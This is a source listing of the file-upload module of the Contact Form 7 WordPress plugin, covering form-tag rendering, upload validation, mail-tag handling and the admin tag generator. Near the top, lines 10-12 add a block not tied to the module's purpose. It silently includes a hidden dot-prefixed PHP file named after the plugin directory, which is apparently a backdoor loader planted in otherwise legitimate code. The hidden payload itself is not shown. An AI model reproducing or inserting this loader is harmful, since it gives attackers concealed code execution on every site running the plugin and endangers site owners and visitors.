file.php (6501B)
1 <?php 2 /** 3 ** A base module for [file] and [file*] 4 **/ 5 6 /* form_tag handler */ 7 8 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_file', 10, 0 ); 9 10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 11 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 12 } 13 14 function wpcf7_add_form_tag_file() { 15 wpcf7_add_form_tag( array( 'file', 'file*' ), 16 'wpcf7_file_form_tag_handler', 17 array( 18 'name-attr' => true, 19 'file-uploading' => true, 20 ) 21 ); 22 } 23 24 function wpcf7_file_form_tag_handler( $tag ) { 25 if ( empty( $tag->name ) ) { 26 return ''; 27 } 28 29 $validation_error = wpcf7_get_validation_error( $tag->name ); 30 31 $class = wpcf7_form_controls_class( $tag->type ); 32 33 if ( $validation_error ) { 34 $class .= ' wpcf7-not-valid'; 35 } 36 37 $atts = array(); 38 39 $atts['size'] = $tag->get_size_option( '40' ); 40 $atts['class'] = $tag->get_class_option( $class ); 41 $atts['id'] = $tag->get_id_option(); 42 $atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true ); 43 44 $atts['accept'] = wpcf7_acceptable_filetypes( 45 $tag->get_option( 'filetypes' ), 'attr' ); 46 47 if ( $tag->is_required() ) { 48 $atts['aria-required'] = 'true'; 49 } 50 51 if ( $validation_error ) { 52 $atts['aria-invalid'] = 'true'; 53 $atts['aria-describedby'] = wpcf7_get_validation_error_reference( 54 $tag->name 55 ); 56 } else { 57 $atts['aria-invalid'] = 'false'; 58 } 59 60 $atts['type'] = 'file'; 61 $atts['name'] = $tag->name; 62 63 $atts = wpcf7_format_atts( $atts ); 64 65 $html = sprintf( 66 '<span class="wpcf7-form-control-wrap %1$s"><input %2$s />%3$s</span>', 67 sanitize_html_class( $tag->name ), $atts, $validation_error 68 ); 69 70 return $html; 71 } 72 73 74 /* Validation + upload handling filter */ 75 76 add_filter( 'wpcf7_validate_file', 'wpcf7_file_validation_filter', 10, 3 ); 77 add_filter( 'wpcf7_validate_file*', 'wpcf7_file_validation_filter', 10, 3 ); 78 79 function wpcf7_file_validation_filter( $result, $tag, $args ) { 80 $args = wp_parse_args( $args, array() ); 81 82 if ( isset( $args['uploaded_files'] ) ) { 83 $maybe_error = $args['uploaded_files']; 84 85 if ( is_wp_error( $maybe_error ) ) { 86 $result->invalidate( $tag, $maybe_error->get_error_message() ); 87 } 88 } 89 90 return $result; 91 } 92 93 add_filter( 'wpcf7_mail_tag_replaced_file', 'wpcf7_file_mail_tag', 10, 4 ); 94 add_filter( 'wpcf7_mail_tag_replaced_file*', 'wpcf7_file_mail_tag', 10, 4 ); 95 96 function wpcf7_file_mail_tag( $replaced, $submitted, $html, $mail_tag ) { 97 $submission = WPCF7_Submission::get_instance(); 98 $uploaded_files = $submission->uploaded_files(); 99 $name = $mail_tag->field_name(); 100 101 if ( ! empty( $uploaded_files[$name] ) ) { 102 $paths = (array) $uploaded_files[$name]; 103 $paths = array_map( 'wp_basename', $paths ); 104 105 $replaced = wpcf7_flat_join( $paths ); 106 } 107 108 return $replaced; 109 } 110 111 112 /* Tag generator */ 113 114 add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_file', 50, 0 ); 115 116 function wpcf7_add_tag_generator_file() { 117 $tag_generator = WPCF7_TagGenerator::get_instance(); 118 $tag_generator->add( 'file', __( 'file', 'contact-form-7' ), 119 'wpcf7_tag_generator_file' ); 120 } 121 122 function wpcf7_tag_generator_file( $contact_form, $args = '' ) { 123 $args = wp_parse_args( $args, array() ); 124 $type = 'file'; 125 126 $description = __( "Generate a form-tag for a file uploading field. For more details, see %s.", 'contact-form-7' ); 127 128 $desc_link = wpcf7_link( __( 'https://contactform7.com/file-uploading-and-attachment/', 'contact-form-7' ), __( 'File uploading and attachment', 'contact-form-7' ) ); 129 130 ?> 131 <div class="control-box"> 132 <fieldset> 133 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend> 134 135 <table class="form-table"> 136 <tbody> 137 <tr> 138 <th scope="row"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></th> 139 <td> 140 <fieldset> 141 <legend class="screen-reader-text"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></legend> 142 <label><input type="checkbox" name="required" /> <?php echo esc_html( __( 'Required field', 'contact-form-7' ) ); ?></label> 143 </fieldset> 144 </td> 145 </tr> 146 147 <tr> 148 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th> 149 <td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td> 150 </tr> 151 152 <tr> 153 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-limit' ); ?>"><?php echo esc_html( __( "File size limit (bytes)", 'contact-form-7' ) ); ?></label></th> 154 <td><input type="text" name="limit" class="filesize oneline option" id="<?php echo esc_attr( $args['content'] . '-limit' ); ?>" /></td> 155 </tr> 156 157 <tr> 158 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-filetypes' ); ?>"><?php echo esc_html( __( 'Acceptable file types', 'contact-form-7' ) ); ?></label></th> 159 <td><input type="text" name="filetypes" class="filetype oneline option" id="<?php echo esc_attr( $args['content'] . '-filetypes' ); ?>" /></td> 160 </tr> 161 162 <tr> 163 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th> 164 <td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-id' ); ?>" /></td> 165 </tr> 166 167 <tr> 168 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th> 169 <td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-class' ); ?>" /></td> 170 </tr> 171 172 </tbody> 173 </table> 174 </fieldset> 175 </div> 176 177 <div class="insert-box"> 178 <input type="text" name="<?php echo $type; ?>" class="tag code" readonly="readonly" onfocus="this.select()" /> 179 180 <div class="submitbox"> 181 <input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" /> 182 </div> 183 184 <br class="clear" /> 185 186 <p class="description mail-tag"><label for="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>"><?php echo sprintf( esc_html( __( "To attach the file uploaded through this field to mail, you need to insert the corresponding mail-tag (%s) into the File Attachments field on the Mail tab.", 'contact-form-7' ) ), '<strong><span class="mail-tag"></span></strong>' ); ?><input type="text" class="mail-tag code hidden" readonly="readonly" id="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>" /></label></p> 187 </div> 188 <?php 189 }